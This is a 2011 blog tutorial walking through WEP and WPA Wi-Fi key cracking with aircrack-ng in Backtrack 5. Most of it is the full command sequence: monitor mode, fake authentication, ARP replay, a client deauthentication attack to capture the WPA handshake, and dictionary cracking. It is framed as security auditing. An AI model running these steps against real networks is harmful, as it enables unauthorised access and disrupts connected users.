LokiSec.com

LokiSec.com
  • Security
    • Security Tools
    • Website Defense
    • Personal Security
    • Standards
  • Books
    • Technical

Cracking the wireless network using aircrack-ng

August 12, 2011 by CyberRad

Aircrack-ng is a suite of programs that allow for auditing of IEEE 802.11 networks.  Below I will go over using the Aircrack-ng suit in Backtrack 5 to capture and crack WEP and WPA.

When cracking both WEP and WPA the steps are the same to a certain point.  First we’ll set our wireless adapter up for injection operations.

airmon-ng stop wlan0
airmon-ng start wlan0

Enable Injection on wlan0

This has created the mon0 interface.  Next lets see what APs are available to us.

airodump-ng wlan0

airodump-ng wlan0
What APs are available?

As you can see I had two APs available in the range of my wifi adapter. Lets target the TargetWiFi AP and test to make sure injection is enabled for our adapter.

aireplay-ng --test -e TargetWiFi -a 00:1C:10:AF:FA:4D mon0 --ignore-negative-one

–test is the flag that denotes we are testing injection
-e specifies the ESSID of the AP
-a specifies the BSSID of the AP
mon0 is the monitor interface that was created when we started the monitor mode on wlan0
–ignore-negative-one is needed only if your adapter’s channel can not be determined

Is injection enabled on our adapter?

The next step is to start the packet capture so we can capture IVs for WEP or the WPA Handshake for WPA/WPA2.

airodump-ng -c 11 --bssid 00:1C:10:AF:FA:4D -w TargetWiFi mon0

-c specifies the channel our target AP is on
–bssid is the bssid of the target AP
-w is the prefix for the capture file
mon0 is the monitor interface that was created when we started the monitor mode on wlan0

Capture traffic to and from the AP

WEP

Open a separate terminal window.

Let’s associate our adapter with the AP.

aireplay-ng -1 0 -e TargetWiFi -a 00:1C:10:AF:FA:4D -h 00:C0:CA:4A:D3:37 mon0

-1 tells aireplay-ng to fake an authentication with the AP
0 is the time between reauthentication attempts in seconds
-e specifies the ESSID of the AP
-a specifies the BSSID of the AP
-h is the MAC of mon0
mon0 is the monitor interface that was created when we started the monitor mode on wlan0

Associate the adapter with the AP

If you receive an “Association successful :-) ” message then you have been associated to the AP. If you receive a “Got a deauthentication packet!” message you will need to slow your authentication tries down.

aireplay-ng -1 900 -o 1 -q 10 -e TargetWiFi -a 00:1C:10:AF:FA:4D -h 00:C0:CA:4A:D3:37 mon0

-1 tells aireplay-ng to fake an authentication with the AP
900 is the time between reauthentication attempts in seconds
-o tells aireplay-ng to only send one set of authentication packets
-q tells aireplay-ng to send keep alive packets every 10 seconds
-e specifies the ESSID of the AP
-a specifies the BSSID of the AP
-h is the MAC of mon0
mon0 is the monitor interface that was created when we started the monitor mode on wlan0

Next, lets start generating IVs.

aireplay-ng -3 -b 00:1C:10:AF:FA:4D -h 00:C0:CA:4A:D3:37 mon0

-3 tells aireplay-ng to replay ARP Requests
-b specifies the BSSID of the AP
-h is the MAC of mon0
mon0 is the monitor interface that was created when we started the monitor mode on wlan0

Generate IVs

Once you get around 40,000 or so packets stop the capture. Now it’s time to crack the WEP key.

aircrack-ng -b 00:1C:10:AF:FA:4D TargetWiFi*.cap

-b is the BSSID of the target AP
TargetWiFi*.cap are the capture files that we started on the other terminal

Crack the WEP key

Dependent on the machine you are running this should take no time to get the WEP key.

WPA

The WPA handshake was catured

If you are unable to acquire the WPA handshake after starting the capture (a client machine has not authenticated since starting the capture) then we can use aireplay-ng to deauthenticate a wireless client that is connected to the AP in another terminal window.

aireplay-ng -0 1 -a 00:1C:10:AF:FA:4D -c 68:A3:C4:34:FC:6F mon0

-0 tells aireplay-ng to go into deauth attack mode
1 tells aireplay-ng to deauth only 1 station
-a is the BSSID of the target AP
-c is the clients MAC address
mon0 is the monitor interface that was created when we started the monitor mode on wlan0

Now that you have received the WPA handshake, stop the capture. Now it is time to crack the WPA key.

aircrack-ng -w password.txt -b 00:1C:10:AF:FA:4D TargetWiFi*.cap

-w is the password list that will be used to crack the WPA key
-b is the BSSID of the target AP
TargetWiFi*.cap are the capture files that we started on the other terminal

Aircrack command for cracking WPA Key
Cracking WPA Key

Cracked WPA Key

The time it takes depends on the complexity of the key and the size of your password list. The rockyou.txt file I used contains hundreds of thousands of passwords.  It came from Skull Security and they have a large collection of password lists you can download and use.  Most password lists are composed of compromised unencrypted passwords.  This means that the passwords in the lists are actual passwords that are being used.

If your password lists do not turn up any results for you, you can use Crunch and Pyrit to run through possible keys/passwords in real time.  j0k3r has a nice writeup on how to accomplish this on Amazon EC2 GPU instances.

For more information on Aircrack-ng visit the Aircrack-ng website and check out their tutorials.

Posted in Security Tools and tagged with 802.11, aircrack-ng, Backtrack, network, Pentest, tools, tutorial, WEP, wireless, WPA, WPA2. RSS 2.0 feed.
« Deter unwanted scanners/crawlers using Weblabyrinth
How to perform a SQL Injection Attack »

One Response to Cracking the wireless network using aircrack-ng

  1. Pingback: Cracking Wireless Networks - Breaking Software

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Recent Posts

  • Backtrack 5 r3 has been released!
  • Metasploit: The Penetration Tester’s Guide
  • Google Hacking
  • Backtrack 5 r2 has been released!
  • Going Phishing with the Social Engineering Toolkit

Twitter Feed

  • RT @smhack1: The Space is open for the members hangout. Become a dues paying member and hangout with us. 1 day ago

  • RT @smhack1: We are participating in the Extra Life 2013 event http://t.co/aqg6mWYllF 4 days ago

  • I'm supporting @CMNHospitals through @ExtraLife4Kids! http://t.co/BtApLZUBx9 via @DonorDrive Help me reach my goal! 4 days ago

Archives

  • August 2012
  • June 2012
  • April 2012
  • March 2012
  • January 2012
  • December 2011
  • October 2011
  • September 2011
  • August 2011
  • June 2011
  • May 2011
  • April 2011
  • March 2011

Tags

802.11 aircrack-ng aliases apache armitage audit Backtrack cree.py creepy flicker geolocation GUI hacker iis Linux metasploit meterpreter netcat network Nmap No Pentest php PTES Quality scan security SET Snort SQLi swiss army knife tools tutorial twitter Uber user-agent vulnerability w3af web weblabyrinth website WEP wireless WPA WPA2

Search

Spread the word!

Blogroll

  • Carnal0wnage
  • Darknet
  • DigiNinja
  • McGrew Security
  • mubix
  • PaulDotCom
  • SpyLogic
  • TaoSecurity

© 2011-2013 LokiSec.com All Rights Reserved